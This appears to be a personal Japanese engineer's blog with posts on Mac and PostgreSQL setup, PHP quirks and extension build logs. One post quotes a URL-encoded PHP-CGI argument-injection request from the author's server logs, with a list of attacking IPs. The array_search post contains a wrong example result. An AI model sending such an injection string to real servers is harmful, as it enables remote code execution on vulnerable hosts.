くまきち

山と旅と家族が大事。
でも激しい物欲が理性と財布のタガを飛ばす
最近は自転車も乗ってる

[OSX][Spotlight]リムーバブルディスクのインデックス作成を止める

2014-03-12 23:32:53 | SEまわり
OSX を 10.9.2 に上げてから、外付け HDD を接続するといつもディスクアクセスが激しいのが気になってた。
調べたら Spotlight 用に検索インデックスを作っているとのこと。

外付け HDD は常用じゃなくて、写真データとかを持ち歩くためのストレージ用途だ。
インデックスがあってもいいけど、接続するたびに毎回再構成されるのは迷惑。

ということで止める方法。

mdutil コマンドを使う。root権限必要。

まずは使い方。--help を付けて呼んだらエラーと共に Usage が表示された。

~ $ mdutil --help
mdutil: unrecognized option `--help'
Usage: mdutil -pEsa -i (on|off) -d volume ...
mdutil -t {volume-path | deviceid} fileid
Utility to manage Spotlight indexes.
-p Publish metadata.
-i (on|off) Turn indexing on or off.
-d Disable Spotlight activity for volume (re-enable using -i on).
-E Erase and rebuild index.
-s Print indexing status.
-t Resolve files from file id with an optional volume path or device id.
-a Apply command to all volumes.
-V vol Apply command to all stores on the specified volume.
-v Display verbose information.
NOTE: Run as owner for network homes, otherwise run as root.

-i オプションを使えばオンオフ切替ができて、 -s を付けると状態表示らしい。

まずは状態確認。Volume名は Transcend。

~$ sudo mdutil -s /Volumes/Transcend
/Volumes/Transcend:
Indexing enabled.

有効にされてるね。
じゃあ、無効にしてあげる。

~ $ sudo mdutil -i off /Volumes/Transcend
/Volumes/Transcend:
Indexing disabled.

再確認。

~ $ sudo mdutil -s /Volumes/Transcend
/Volumes/Transcend:
Indexing disabled.

ディスクアクセスが静かになっていい感じ。

Mantis/PostgreSQL のセットアップで手間取った

2014-01-28 19:51:08 | SEまわり
Mantisをセットアップしているときのこと。OS は CentOS 6.4/64bit で、Apache は 2.x系、PostgreSQL は 8系、PHP は 5.x。

公式サイトからtarball(今回はバージョン 1.2.15)ダウンロードして DocumentRoot の下に配置。
ブラウザからアクセスすると、セットアップ画面となる。
PHP のバージョンなどは問題ないと言うことで GOOD の表示が出ている。



ここでセットアップを進める前に、データベースを作っておく。

 
createdb -E UTF-8 --lc-collate=ja_JP.UTF-8 --lc-ctype=ja_JP.UTF-8 -T template0 mantis


続いてブラウザに戻って、以下の情報を指定。
データベースのアカウントとパスワードは admin で統一(ローカルテストなので簡単に)

 
Type of DatabasePostgreSQL
Hostname (for Database Server)localhost
Username (for Database)admin
Password (for Database)admin
Database name (for Database)mantis
Admin Username (to create Database if required)admin
Admin Password (to create Database if required)admin
Print SQL Queries instead of Writing to the Database(チェックしない)
Attempt Installation 


こうして「Install/Upgrade Database」をクリックすると次の画面が出る。



BAD
Does administrative user have access to the database? (Database connection failed)



と書かれている。

ここから試行錯誤して解決したんだけど、結論を。

内部(library/adodb/drivers/adodb-postgres64.inc.php, L692)で pg_connect() 関数を発行して DB 接続を確立するんだけど、その引数文字列は次のようになっている。

 
"host='localhost' user='admin' password='admin' dbname='template1'"


この host 値が悪かったみたい。これを削って、次のようにすると成功する。

 
"user='admin' password='admin' dbname='template1'"


"localhost" の解決に問題があるようだ。
実際、削る前の文字列を使って次のようなプログラムを動かすと、エラー無く接続できる。

 
<php
$str="host='localhost' user='admin' password='admin' dbname='template1'";
if ( $db = pg_connect($str) ) { echo "OK\n"; }
else {echo "NG\n";}
?>


ということで、ADO ドライバの関係っぽいというところまで。

えらいこと時間かかった。

cgi-bin/php 宛の攻撃

2014-01-06 11:00:50 | SEまわり
こんな感じのリクエストがそれなりの数届く。

/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E

投げ元を整理してみた。

IPアドレスと国コード。

1.34.176.248:AU
107.21.224.185:US
107.22.53.220:US
109.120.141.54:NL
115.95.242.103:AU
121.199.160.165:AU
121.207.251.79:AU
124.150.168.49:AU
124.207.184.105:AU
125.212.49.250:AU
130.225.198.196:NL
134.176.28.79:NL
14.139.223.98:AU
158.46.254.38:NL
159.148.92.98:NL
178.238.217.25:NL
183.181.26.71:AU
184.106.198.6:US
184.169.158.163:US
187.107.190.89:UY
187.53.208.44:UY
188.120.239.36:NL
190.131.198.2:UY
190.196.68.86:UY
190.211.203.85:UY
190.85.103.83:UY
192.236.132.30:US
192.241.176.60:US
193.239.230.18:NL
193.243.158.194:NL
193.95.75.163:NL
194.74.102.68:NL
195.145.181.226:NL
195.158.183.67:NL
195.198.53.51:NL
195.69.217.238:NL
195.95.198.195:NL
200.219.246.83:UY
201.149.255.148:UY
202.105.131.10:AU
202.162.221.227:AU
208.95.36.86:PR
210.149.29.182:AU
210.245.90.27:AU
212.55.28.81:NL
212.91.224.194:NL
217.124.183.77:NL
217.156.252.115:NL
217.78.176.218:NL
218.55.118.204:AU
222.76.213.184:AU
23.21.67.188:US
23.22.38.163:US
23.23.194.136:US
27.109.20.234:AU
27.251.216.107:AU
27.251.59.100:AU
37.230.112.153:NL
41.162.51.242:MU
46.137.146.15:NL
46.229.187.50:NL
49.156.56.57:AU
50.16.126.93:US
50.16.14.126:US
50.16.91.63:US
50.18.127.141:US
50.19.209.63:US
54.227.165.245:US
54.241.35.174:US
60.208.83.221:AU
62.141.35.238:NL
62.193.224.159:NL
70.62.249.61:US
74.50.112.42:US
79.125.107.124:NL
81.25.225.34:NL
81.4.92.233:NL
89.255.22.162:NL
91.121.73.155:NL
91.121.88.52:NL
93.125.1.25:NL
93.186.97.223:NL
94.102.53.220:NL
94.102.53.226:NL
94.102.53.229:NL
94.230.17.21:NL
95.140.43.156:NL
95.142.163.29:NL
96.126.126.134:US
96.54.138.34:CA

結構意外な方向に偏ってるな。



[OS X][iTerm]全角記号の表示がおかしい(Vim, Emacs)

2013-11-19 00:32:42 | SEまわり
iTerm 上で Emacs を常用してるんだけど、全角記号(◎、★、などなど)を使うと表示が乱れる。
また、カーソルを移動させた際に、見かけ上のカーソル位置と、実際の編集位置がずれてしまう。

結果、保存したファイルを別のエディタなどで開くとおかしなことになってる。
Ctrl+Lを押して再描画をさせるとさらに乱れる。

どうにかならないものかと思ったら、意外と簡単に解決した。

iTerm のオプションひとつで良くなった。

Preference から、Profiles、Text と進み、「Treat ambiguous-width characters as double width」をオンにする。



割と長い期間困ってたのに、すぐ解決したのがちょっと悔しい。

[PHP]array_search()

2013-11-12 11:00:47 | SEまわり
array_search() 関数で不思議な現象。

$ary = array(2, 5, 8, 10);
var_dump(array_search(10, $ary));


とすると、

int(1)


が返る。期待どおり。

が、2行目を

var_dump(array_search(2, $ary));


にすると、

int(0)



が返ってきてしまう。

array の先頭要素を 3 に変えて、array_search の needle(第1引数)を 3 にしても同じく 0 (false) が返る。

haystack ( 第2引数、$ary)の先頭要素は常に false になる仕様?(-"-;)

おかしいなあと思ったのでマニュアルを調べる。

PHP マニュアルによれば、

needle が見つかった場合に配列のキー、 それ以外の場合に FALSE を返します。
もし haystack に 1 つ以上の needle に見つかった場合、 最初にマッチしたキーが返されます。全てのマッチした値に対するキーを返すためには、代わりに array_keys() にパラメータ search_value を付けて使用してください。


ってことなので、先頭要素の【キー】である 0 が返ってきてるわけか。

見つかってないってことじゃなくて、見つけたけどそのキーが 0 なもんで、「 0 == true」は成り立たない、と。

なので、「===」を使って、ちゃんと比較してあげれば良かった。


$ary = array(2, 5, 8, 10);
if ( array_search(1, $ary) === False ) { echo "NOT Found.\n"; }
else { echo "Found.\n";}


PHP のよくひっかかるところをちょうど踏んだな。


続々々・Mavericks 更新の弊害(PHP::PDO_PgSQL)

2013-10-27 01:25:22 | SEまわり
前述の libpq-fe.h が見つからないという件は、その直前に pg_config が見つからないというエラーが出ていたところに注目。
コマンドを見つけきれないらしい。実体は /Library/PostgreSQL/9.3/bin の下にあるんだが。

そこで、探しやすいように、ln -s /Library/PostgreSQL/9.3/bin/pg_config /usr/bin としてあげたら、あっさり成功。

# ./configure --with-pdo-pgsql
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for a sed that does not truncate output... /usr/bin/sed
checking for cc... cc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether cc accepts -g... yes
checking for cc option to accept ISO C89... none needed
checking how to run the C preprocessor... cc -E
checking for icc... no
checking for suncc... no
checking whether cc understands -c and -o together... yes
checking for system library directory... lib
checking if compiler supports -R... no
checking if compiler supports -Wl,-rpath,... yes
checking build system type... i386-apple-darwin13.0.0
checking host system type... i386-apple-darwin13.0.0
checking target system type... i386-apple-darwin13.0.0
checking for PHP prefix... /usr
checking for PHP includes... -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib
checking for PHP extension directory... /usr/lib/php/extensions/no-debug-non-zts-20100525
checking for PHP installed headers prefix... /usr/include/php
checking if debug is enabled... no
checking if zts is enabled... no
checking for re2c... re2c
checking for re2c version... 0.13.5 (ok)
checking for gawk... no
checking for nawk... no
checking for awk... awk
checking if awk is broken... no
checking for PostgreSQL support for PDO... yes, shared
checking for pg_config... /usr/bin/pg_config
checking for openssl dependencies... no
checking for PQparameterStatus in -lpq... yes
checking for PQprepare in -lpq... yes
checking for PQescapeStringConn in -lpq... yes
checking for PQescapeByteaConn in -lpq... yes
checking for pg_encoding_to_char in -lpq... yes
checking for PDO includes... checking for PDO includes... /usr/include/php/ext
checking for ld used by cc... /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
checking if the linker (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld) is GNU ld... no
checking for /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld option to reload object files... -r
checking for BSD-compatible nm... /usr/bin/nm
checking whether ln -s works... yes
checking how to recognize dependent libraries... pass_all
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking dlfcn.h usability... yes
checking dlfcn.h presence... yes
checking for dlfcn.h... yes
checking the maximum length of command line arguments... 196608
checking command to parse /usr/bin/nm output from cc object... ok
checking for objdir... .libs
checking for ar... ar
checking for ranlib... ranlib
checking for strip... strip
checking for dsymutil... dsymutil
checking for nmedit... nmedit
checking for -single_module linker flag... yes
checking for -exported_symbols_list linker flag... yes
checking if cc supports -fno-rtti -fno-exceptions... yes
checking for cc option to produce PIC... -fno-common
checking if cc PIC flag -fno-common works... yes
checking if cc static flag -static works... no
checking if cc supports -c -o file.o... yes
checking whether the cc linker (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... darwin13.0.0 dyld
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... no

creating libtool
appending configuration tag "CXX" to libtool
configure: creating ./config.status
config.status: creating config.h
config.status: config.h is unchanged
bash-3.2# make
/bin/sh /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/libtool --mode=compile cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pdo_pgsql.c -o pdo_pgsql.lo
mkdir .libs
cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pdo_pgsql.c -fno-common -DPIC -o .libs/pdo_pgsql.o
/bin/sh /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/libtool --mode=compile cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pgsql_driver.c -o pgsql_driver.lo
cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pgsql_driver.c -fno-common -DPIC -o .libs/pgsql_driver.o
/bin/sh /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/libtool --mode=compile cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pgsql_statement.c -o pgsql_statement.lo
cc -I/usr/include/php/ext -I. -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -c /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pgsql_statement.c -fno-common -DPIC -o .libs/pgsql_statement.o
/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/pgsql_statement.c:561:9: warning: case value not in enumerated type
'enum pdo_param_type' [-Wswitch]
case PDO_PARAM_INPUT_OUTPUT:
^
/usr/include/php/ext/pdo/php_pdo_driver.h:79:33: note: expanded from macro 'PDO_PARAM_INPUT_OUTPUT'
#define PDO_PARAM_INPUT_OUTPUT 0x80000000
^
1 warning generated.
/bin/sh /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/libtool --mode=link cc -DPHP_ATOM_INC -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/include -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/main -I/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/Library/PostgreSQL/9.3/include -DHAVE_CONFIG_H -g -O2 -o pdo_pgsql.la -export-dynamic -avoid-version -prefer-pic -module -rpath /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/modules pdo_pgsql.lo pgsql_driver.lo pgsql_statement.lo -Wl,-rpath,/Library/PostgreSQL/9.3/lib -L/Library/PostgreSQL/9.3/lib -lpq
cc ${wl}-flat_namespace ${wl}-undefined ${wl}suppress -o .libs/pdo_pgsql.so -bundle .libs/pdo_pgsql.o .libs/pgsql_driver.o .libs/pgsql_statement.o -L/Library/PostgreSQL/9.3/lib -lpq -Wl,-rpath -Wl,/Library/PostgreSQL/9.3/lib
dsymutil .libs/pdo_pgsql.so || :
creating pdo_pgsql.la
(cd .libs && rm -f pdo_pgsql.la && ln -s ../pdo_pgsql.la pdo_pgsql.la)
/bin/sh /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/libtool --mode=install cp ./pdo_pgsql.la /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/modules
cp ./.libs/pdo_pgsql.so /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/modules/pdo_pgsql.so
cp ./.libs/pdo_pgsql.lai /Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/modules/pdo_pgsql.la
----------------------------------------------------------------------
Libraries have been installed in:
/Users/bear/Downloads/php-5.4.20/ext/pdo_pgsql/modules

If you ever happen to want to link against installed libraries
in a given directory, LIBDIR, you must either use libtool, and
specify the full pathname of the library, or use the `-LLIBDIR'
flag during linking and do at least one of the following:
- add LIBDIR to the `DYLD_LIBRARY_PATH' environment variable
during execution

See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------

Build complete.
Don't forget to run 'make test'.


うまくいったようだ。
あとは make install して、モジュールを確認。

# make install
Installing shared extensions: /usr/lib/php/extensions/no-debug-non-zts-20100525/
# ls /usr/lib/php/extensions/
no-debug-non-zts-20100525
bash-3.2# ls /usr/lib/php/extensions/no-debug-non-zts-20100525/
pdo_pgsql.so pgsql.so xdebug.so


できてる。

あとは、/etc/php.ini で 二つの extension {pdo_pgsql.so, pgsql.so} を指定して、 apache を再起動すればいいはず。

extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20100525/"
extension = pgsql.so
extension = pdo_pgsql.so


phpinfo() なページを表示させてみる。



でてた!
1泊2日かかったよ。これに。

続々・Mavericks 更新の弊害(PHP::PDO_PgSQL)

2013-10-26 23:32:57 | SEまわり
続き。

PostgreSQL は元々 9.2 を OS X 用のバイナリパッケージからインストールしていた。
PgAdmin とかのアイコンもいつのまにか消えてしまっていたので、この際 9.2 の資産は全部捨てることにして、9.3 をダウンロードして、インストールも終わった。

ということで、pdo_pgsql を作るとこの続き。

# cd Downloads/php-5.4.20/ext/pdo_pgsql/
# ./configure --with-pdo-pgsql
configure: WARNING: unrecognized options: --with-pgsql
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for a sed that does not truncate output... /usr/bin/sed
checking for cc... cc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether cc accepts -g... yes
checking for cc option to accept ISO C89... none needed
checking how to run the C preprocessor... cc -E
checking for icc... no
checking for suncc... no
checking whether cc understands -c and -o together... yes
checking for system library directory... lib
checking if compiler supports -R... no
checking if compiler supports -Wl,-rpath,... yes
checking build system type... i386-apple-darwin13.0.0
checking host system type... i386-apple-darwin13.0.0
checking target system type... i386-apple-darwin13.0.0
checking for PHP prefix... /usr
checking for PHP includes... -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib
checking for PHP extension directory... /usr/lib/php/extensions/no-debug-non-zts-20100525
checking for PHP installed headers prefix... /usr/include/php
checking if debug is enabled... no
checking if zts is enabled... no
checking for re2c... re2c
checking for re2c version... 0.13.5 (ok)
checking for gawk... no
checking for nawk... no
checking for awk... awk
checking if awk is broken... no
checking for PostgreSQL support for PDO... yes, shared
checking for pg_config... not found
configure: error: Cannot find libpq-fe.h. Please specify correct PostgreSQL installation path


だそうなので、--with-pgsql=/Library/PostgreSQL/9.3 を付けてみたけれど、結果は同じだった。
libpq-fe.h はちゃんとあるんだけどなあ(下記)

# ls /Library/PostgreSQL/9.3/include/libpq-fe.h
/Library/PostgreSQL/9.3/include/libpq-fe.h


はて。。。

configure にはデバッグオプションとか verbose 出力スイッチがないみたいだ(./configure --help した)。
どうしたものか。
また詰まったぞ。

このエラーメッセージは昔ずいぶん何度も出遭ったやつなんだがなあ。

続・Mavericks 更新の弊害(PHP::PDO_PgSQL)

2013-10-26 22:02:57 | SEまわり
Lion → Mavericks に更新してからの話。

Lion の時の PHP は pdo_pgsql が有効だったのだが、なんかこれも変わってて無効。しかも、pdo_mysql は有効という差別的な扱い。
(MySQL は苦手)

PHP 自体をソースからインストールすることも考えてみたけど、extension で入れてしまえばいいんじゃないかと思い,やってみることにした。

  
# cd Downloads/php-5.4.20/ext/pdo_pgsql/
#ls
CREDITS config.w32 pgsql_driver.c
Makefile.global configure.in pgsql_statement.c
acinclude.m4 install-sh php_pdo_pgsql.h


ここで、extension ファイルを生成する。
が、phpize でエラー。最初からこれだ。

  
# bash-3.2$ phpize
Configuring for:
PHP Api Version: 20100412
Zend Module Api No: 20100525
Zend Extension Api No: 220100525
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.


やっぱりコマンドラインツールがぼろぼろ。
autoconf は command not found になる。
port で入れようとして、search name=autoconf とする。

  
# port search name=autoconf
Warning: port definitions are more than two weeks old, consider updating them by running 'port selfupdate'.
No match for name=autoconf found


port selfupdate からやりなおせとの指示。
やります。

  
# port selfupdate
---> Updating MacPorts base sources using rsync
MacPorts base version 2.2.0 installed,
MacPorts base version 2.2.1 downloaded.
---> Updating the ports tree
---> MacPorts base is outdated, installing new version 2.2.1
Installing new MacPorts release in /opt/local as root:admin; permissions 0755; Tcl-Package in /Library/Tcl

Not all sources could be fully synced using the old version of MacPorts.
Please run selfupdate again now that MacPorts base has been updated.


もういちどやれってか。
はいはい。

  
# port selfupdate
---> Updating MacPorts base sources using rsync
MacPorts base version 2.2.1 installed,
MacPorts base version 2.2.1 downloaded.
---> Updating the ports tree
---> MacPorts base is already the latest version

The ports tree has been updated. To upgrade your installed ports, you should run
port upgrade outdated


全部上げろと。
まあそうだろうね。んで、きっとこれで autoconf が使えるようになるんじゃないか。

  
# port upgrade outdated
(以下略)


1時間以上かかった。
でも終わったので、phpize に戻る。

  
# phpize
Configuring for:
PHP Api Version: 20100412
Zend Module Api No: 20100525
Zend Extension Api No: 220100525


うまくいった。
configure ファイルもちゃんと生成されてる。
ということで、configure を実行する。

  
# ./configure --with-pdo-pgsql
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for a sed that does not truncate output... /usr/bin/sed
checking for cc... cc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether cc accepts -g... yes
checking for cc option to accept ISO C89... none needed
checking how to run the C preprocessor... cc -E
checking for icc... no
checking for suncc... no
checking whether cc understands -c and -o together... yes
checking for system library directory... lib
checking if compiler supports -R... no
checking if compiler supports -Wl,-rpath,... yes
checking build system type... i386-apple-darwin13.0.0
checking host system type... i386-apple-darwin13.0.0
checking target system type... i386-apple-darwin13.0.0
checking for PHP prefix... /usr
checking for PHP includes... -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib
checking for PHP extension directory... /usr/lib/php/extensions/no-debug-non-zts-20100525
checking for PHP installed headers prefix... /usr/include/php
checking if debug is enabled... no
checking if zts is enabled... no
checking for re2c... no
configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers.
checking for gawk... no
checking for nawk... no
checking for awk... awk
checking if awk is broken... no
checking for PostgreSQL support for PDO... yes, shared
checking for pg_config... not found
configure: error: Cannot find libpq-fe.h. Please specify correct PostgreSQL installation path


そうきたか。
PostgreSQL は Mac 用のバイナリを本家のダウンロードページから持ってきてインストールしたからね。ヘッダとかないかも。

ヘッダファイルだけあればいいのかしら。

でも、ふと考えてアプリケーションフォルダを見るとゾウさんのマークがない。
あれ?

でも、ps ax 見ると postmaster も動いてるし、psql でバックエンドともちゃんとお話しができている。
なんぞこれ?

今動いてるプロセス止めて、関連ファイル(/Library/Postgresq/*)消して、バイナリ再インストールやってみるか。

というところまででいったん切る。

Mavericks にしたら MacPorts がー

2013-10-25 15:19:48 | SEまわり
OS X Lion から Mavericks に更新したら、macports がエラーを吐くようになった。
selfupdate をデバッグフラグ付きで実行するとこんな状況
長いけど全部貼り付けとく。


  
$ sudo port -d selfupdate
DEBUG: Copying /Users/bear/Library/Preferences/com.apple.dt.Xcode.plist to /opt/local/var/macports/home/Library/Preferences
DEBUG: MacPorts sources location: /opt/local/var/macports/sources/rsync.macports.org/release/tarballs
---> Updating MacPorts base sources using rsync
receiving file list ... done

sent 36 bytes received 69 bytes 42.00 bytes/sec
total size is 4925440 speedup is 46908.95
receiving file list ... done

sent 36 bytes received 76 bytes 32.00 bytes/sec
total size is 512 speedup is 4.57
DEBUG: successful verification with key /opt/local/share/macports/macports-pubkey.pem
DEBUG: /usr/bin/tar -C /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/tmp -xf /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/base.tar
MacPorts base version 2.1.3 installed,
DEBUG: Rebuilding and reinstalling MacPorts if needed
MacPorts base version 2.2.0 downloaded.
---> Updating the ports tree
Synchronizing local ports tree from rsync://rsync.macports.org/release/tarballs/ports.tar
DEBUG: /usr/bin/rsync -rtzv --delete-after rsync://rsync.macports.org/release/tarballs/ports.tar /opt/local/var/macports/sources/rsync.macports.org/release/tarballs
receiving file list ... done

sent 36 bytes received 70 bytes 30.29 bytes/sec
total size is 57681920 speedup is 544169.06
DEBUG: /usr/bin/rsync -rtzv --delete-after rsync://rsync.macports.org/release/tarballs/ports.tar.rmd160 /opt/local/var/macports/sources/rsync.macports.org/release/tarballs
receiving file list ... done

sent 36 bytes received 77 bytes 45.20 bytes/sec
total size is 512 speedup is 4.53
DEBUG: successful verification with key /opt/local/share/macports/macports-pubkey.pem
DEBUG: /usr/bin/tar -C /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/tmp -xf /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports.tar
DEBUG: /usr/bin/rsync -rtzv --delete-after rsync://rsync.macports.org/release/tarballs/PortIndex_darwin_13_i386/PortIndex /opt/local/var/macports/sources/rsync.macports.org/release/tarballs
receiving file list ... rsync: change_dir "tarballs/PortIndex_darwin_13_i386" (in release) failed: No such file or directory (2)
done

sent 4 bytes received 9 bytes 8.67 bytes/sec
total size is 0 speedup is 0.00
rsync error: some files could not be transferred (code 23) at /SourceCache/rsync/rsync-42/rsync/main.c(1400) [receiver=2.6.9]
Command failed: /usr/bin/rsync -rtzv --delete-after rsync://rsync.macports.org/release/tarballs/PortIndex_darwin_13_i386/PortIndex /opt/local/var/macports/sources/rsync.macports.org/release/tarballs
Exit code: 23
DEBUG: Synchronization of the PortIndex failed doing rsync
---> MacPorts base is outdated, installing new version 2.2.0
DEBUG: Permissions OK
Installing new MacPorts release in /opt/local as root:admin; permissions 0755; Tcl-Package in /Library/Tcl

checking build system type... x86_64-apple-darwin13.0.0
checking host system type... x86_64-apple-darwin13.0.0
checking target system type... x86_64-apple-darwin13.0.0
checking MacPorts version... 2.2.0
checking for sw_vers... /usr/bin/sw_vers
checking for defaults... /usr/bin/defaults
checking for xcode-select... /usr/bin/xcode-select
checking Mac OS X version... 10.9
checking Xcode location... /Applications/Xcode.app/Contents/Developer
checking Xcode version... 5.0.1
checking for gcc... /usr/bin/cc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether /usr/bin/cc accepts -g... yes
checking for /usr/bin/cc option to accept ISO C89... none needed
checking for a BSD-compatible install... /usr/bin/install -c
